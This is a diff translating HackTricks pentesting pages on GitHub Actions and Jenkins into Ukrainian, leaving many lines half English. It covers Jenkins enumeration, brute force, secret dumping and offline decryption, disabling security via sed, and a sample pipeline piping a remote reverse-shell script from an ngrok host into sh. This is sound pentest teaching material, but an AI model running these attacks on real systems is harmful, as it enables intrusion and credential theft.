**середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на кшталт: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +You can configure an environment to be **доступним** by **всіма гілками** (за замовчуванням), **тільки захищеними** гілками або **вказати**, які гілки можуть отримати доступ до нього.\ +It can also set a **кількість необхідних оглядів** before **виконання** an **дії** using an **середовище** or **чекати** some **час** before allowing deployments to proceed. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +A Github Action can be **виконано всередині середовища github** or can be executed in a **інфраструктурі третьої сторони** configured by the user. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Several organizations will allow to run Github Actions in a **інфраструктурі третьої сторони** as it use to be **дешевше**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +You can **перелічити самостійно хостовані ранери** of an organization in _https://github.com/organizations/\/settings/actions/runners_ The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +It's **неможливо запустити Github Action організації всередині самостійно хостованої коробки** of a different organization because **унікальний токен генерується для Ранера** when configuring it to know where the runner belongs. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **може отримати доступ до метаданих** and **викрасти токен сервісного облікового запису** the machine is running with. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +If all actions (or a malicious action) are allowed a user could use a **Github action** that is **шкідливим** and will **скомпрометувати** the **контейнер** where it's being executed. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> A **шкідливий Github Action** run could be **зловжито** by the attacker to: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Викрасти всі секрети** the Action has access to +> - **Переміщатися латерально** if the Action is executed inside a **інфраструктурі третьої сторони** where the SA token used to run the machine can be accessed (probably via the metadata service) +> - **Зловживати токеном** used by the **workflow** to **викрасти код репозиторію** where the Action is executed or **навіть змінити його**. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Branch protections are designed to **не надавати повний контроль над репозиторієм** to the users. The goal is to **встановити кілька методів захисту перед тим, як зможете писати код всередині деякої гілки**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +The **захисти гілок репозиторію** can be found in _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> It's **неможливо встановити захист гілки на рівні організації**. So all of them must be declared on each repo. Different protections can be applied to a branch (like to master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- You can **вимагати PR перед злиттям** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: +- **Вимагати кількість схвалень**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **Скасувати схвалення, коли нові коміти додаються**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **Вимагати оглядів від Власників коду**. At least 1 code owner of the repo needs to approve the PR (so "випадкові" користувачі не можуть його схвалити) +- **Обмежити, хто може скасувати огляди запитів на злиття.** You can specify people or teams allowed to dismiss pull request reviews. +- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. These users will be able to bypass previous restrictions. +- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). +- **Вимагати вирішення розмови перед злиттям**. All comments on the code needs to be resolved before the PR can be merged. +- **Вимагати підписаних комітів**. The commits need to be signed. +- **Вимагати лінійної історії.** Prevent merge commits from being pushed to matching branches. +- **Включити адміністраторів**. If this isn't set, admins can bypass the restrictions. +- **Обмежити, хто може надсилати до відповідних гілок**. Restrict who can send a PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> As you can see, even if you managed to obtain some credentials of a user, **репозиторії можуть бути захищені, що заважає вам надсилати код до master** for example to compromise the CI/CD pipeline. ## References @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..1712d2a81 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins - це інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервної доставки** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває **необхідність створення скриптів для окремих кроків**, він забезпечує швидший і надійніший спосіб інтеграції всього послідовності інструментів збірки, тестування та розгортання, ніж той, який можна легко створити вручну. {{#ref}} basic-jenkins-information.md @@ -12,74 +12,68 @@ basic-jenkins-information.md ## Unauthenticated Enumeration -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: - +Щоб шукати цікаві сторінки Jenkins без аутентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Перевірте, чи можете ви виконувати команди без необхідності аутентифікації: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +Без облікових даних ви можете заглянути всередину _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**. -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_ ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Відомі вразливості {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Увійти -In the basic information you can check **all the ways to login inside Jenkins**: +У базовій інформації ви можете перевірити **всі способи входу в Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Реєстрація -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +Ви зможете знайти екземпляри Jenkins, які **дозволяють вам створити обліковий запис і увійти в нього. Так просто.** -### **SSO Login** +### **SSO Вхід** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то вам слід спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). -### Bruteforce - -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. +### Брутфорс +**Jenkins** не має **політики паролів** та **заходів проти брутфорсу імен користувачів**. Важливо **брутфорсити** користувачів, оскільки можуть використовуватися **слабкі паролі** або **імена користувачів як паролі**, навіть **перевернуті імена користувачів як паролі**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +Використовуйте [цей python скрипт](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) або [цей powershell скрипт](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP Whitelisting Bypass -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Багато організацій поєднують **SaaS-based source control management (SCM) systems** такі як GitHub або GitLab з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Це налаштування дозволяє CI системам **отримувати webhook події від постачальників SaaS source control**, в основному для запуску завдань конвеєра. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Щоб досягти цього, організації **дозволяють** **IP-діапазони** **SCM платформ**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **webhooks**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера webhook**, потенційно надсилаючи запити до **внутрішньої CI системи**. -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Перевірте: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Internal Jenkins Abuses -In these scenarios we are going to suppose you have a valid account to access Jenkins. +У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Залежно від механізму **Authorization**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.** -For more information check the basic information: +Для отримання додаткової інформації перевірте основну інформацію: {{#ref}} basic-jenkins-information.md @@ -87,226 +81,212 @@ basic-jenkins-information.md ### Listing users -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Якщо ви отримали доступ до Jenkins, ви можете перерахувати інших зареєстрованих користувачів за адресою [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) ### Dumping builds to find cleartext secrets -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. - +Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти відкриті секрети. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **Викрадення SSH облікових даних** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Якщо скомпрометований користувач має **достатні привілеї для створення/модифікації нового Jenkins вузла** і SSH облікові дані вже збережені для доступу до інших вузлів, він може **викрасти ці облікові дані**, створивши/модифікувавши вузол і **встановивши хост, який буде записувати облікові дані** без перевірки ключа хоста: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Ви зазвичай знайдете облікові дані Jenkins ssh у **глобальному провайдері** (`/credentials/`), тому ви також можете їх скинути так, як ви скинули б будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets). -### **RCE in Jenkins** +### **RCE в Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Отримання **shell на сервері Jenkins** дає зловмиснику можливість викрити всі **секрети** та **змінні середовища** і **експлуатувати інші машини**, розташовані в тій же мережі, або навіть **збирати облікові дані хмари**. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +За замовчуванням Jenkins буде **працювати як SYSTEM**. Отже, компрометація його надасть зловмиснику **привілеї SYSTEM**. -### **RCE Creating/Modifying a project** +### **RCE Створення/Модифікація проекту** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Створення/модифікація проекту є способом отримання RCE над сервером Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Виконання Groovy скрипту** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути більш непомітним, ніж створення нового проекту: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE Створення/Модифікація Pipeline -You can also get **RCE by creating/modifying a pipeline**: +Ви також можете отримати **RCE, створюючи/модифікуючи pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Експлуатація Pipeline -To exploit pipelines you still need to have access to Jenkins. +Щоб експлуатувати pipeline, вам все ще потрібно мати доступ до Jenkins. -### Build Pipelines +### Будівельні Pipeline -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipeline** також можуть використовуватися як **механізм збірки в проектах**, в цьому випадку можна налаштувати **файл всередині репозиторію**, який міститиме синтаксис pipeline. За замовчуванням використовується `/Jenkinsfile`: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +Також можливо **зберігати конфігураційні файли pipeline в інших місцях** (в інших репозиторіях, наприклад) з метою **розділення** доступу до репозиторію та доступу до pipeline. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Якщо зловмисник має **доступ на запис до цього файлу**, він зможе **модифікувати** його і **потенційно запустити** pipeline, навіть не маючи доступу до Jenkins.\ +Можливо, зловмиснику потрібно буде **обійти деякі захисти гілок** (в залежності від платформи та привілеїв користувача, їх можна обійти або ні). -The most common triggers to execute a custom pipeline are: +Найбільш поширені тригери для виконання користувацького pipeline: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Запит на злиття** до основної гілки (або потенційно до інших гілок) +- **Пуш до основної гілки** (або потенційно до інших гілок) +- **Оновлення основної гілки** і очікування, поки вона буде виконана якимось чином > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо це **погано налаштовано**, ви могли б повністю **скомпрометувати компанії, просто експлуатуючи це**. ### Pipeline RCE -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +У попередньому розділі RCE вже була вказана техніка для [**отримання RCE, модифікуючи pipeline**](./#rce-creating-modifying-pipeline). -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Перевірка змінних середовища +Можна оголосити **змінні середовища у відкритому тексті** для всього pipeline або для конкретних етапів. Ці змінні середовища **не повинні містити чутливу інформацію**, але зловмисник завжди може **перевірити всі конфігурації pipeline/Jenkinsfiles:** ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` +### Витягування секретів -### Dumping secrets - -For information about how are secrets usually treated by Jenkins check out the basic information: +Для отримання інформації про те, як зазвичай обробляються секрети в Jenkins, ознайомтеся з основною інформацією: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`) або **конкретними проектами** (`/job//configure`). Тому, щоб ексфільтрувати всі з них, вам потрібно **зламати принаймні всі проекти**, які містять секрети, і виконати користувацькі/отруйні конвеєри. +Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **`string`** **секрет**, ви отримаєте цю **помилку**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Ось як завантажити деякі поширені типи секретів: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +В кінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> Найкращий спосіб **вивести всі секрети одразу** - це **компрометувати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\ +> Більше про те, як це зробити, у розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation). -### Triggers +### Тригери -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +З [документації](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Директива `triggers` визначає **автоматизовані способи, якими Pipeline має бути повторно запущений**. Для Pipeline, які інтегровані з джерелом, таким як GitHub або BitBucket, `triggers` можуть бути непотрібні, оскільки інтеграція на основі вебхуків, ймовірно, вже присутня. Доступні тригери: `cron`, `pollSCM` та `upstream`. +Приклад cron: ```bash triggers { cron('H */4 * * 1-5') } ``` +Перевірте **інші приклади в документації**. -Check **other examples in the docs**. +### Вузли та Агенти -### Nodes & Agents +**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для крадіжки або **різний мережевий доступ**, який можна зловживати для експлуатації інших машин. -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +Для отримання додаткової інформації перевірте основну інформацію: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете **`Вбудований Вузол`** (який є вузлом, що запускає Jenkins) і потенційно більше: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +Це **особливо цікаво скомпрометувати Вбудований вузол**, оскільки він містить чутливу інформацію Jenkins. +Щоб вказати, що ви хочете **запустити** **конвеєр** у **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію: ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Повний приклад -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Pipeline в конкретному агенті, з тригером cron, з змінними середовища pipeline та stage, завантажуючи 2 змінні в кроці та відправляючи зворотний shell: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Довільне Читання Файлів до RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Після Експлуатації ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +Ви можете перерахувати секрети, отримавши доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**. -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Якщо ви можете **бачити конфігурацію кожного проекту**, ви також можете побачити там **імена облікових даних (секретів)**, які використовуються для доступу до репозиторію та **інших облікових даних проекту**. ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +Ці файли потрібні для **дешифрування секретів Jenkins**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Такі **секрети зазвичай можна знайти в**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Ось регулярний вираз, щоб їх знайти: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` +#### Дешифрування секретів Jenkins офлайн -#### Decrypt Jenkins secrets offline - -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Якщо ви скинули **необхідні паролі для дешифрування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для дешифрування цих секретів**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Декодування секретів Jenkins з Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Створити нового адміністратора -### Create new admin user +1. Доступ до файлу Jenkins config.xml у `/var/lib/jenkins/config.xml` або `C:\Program Files (x86)\Jenkis\` +2. Знайдіть слово `true` і змініть слово **`true`** на **`false`**. +1. `sed -i -e 's/truefalsetrue` і **перезапустіть Jenkins знову**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Посилання - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..4b9d36574 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# Основна інформація про Jenkins {{#include ../../banners/hacktricks-training.md}} -## Access +## Доступ -### Username + Password +### Ім'я користувача + Пароль -The most common way to login in Jenkins if with a username or a password +Найпоширеніший спосіб входу в Jenkins - це використання імені користувача або пароля. ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Якщо **авторизований cookie буде вкрадено**, його можна використовувати для доступу до сесії користувача. Cookie зазвичай називається 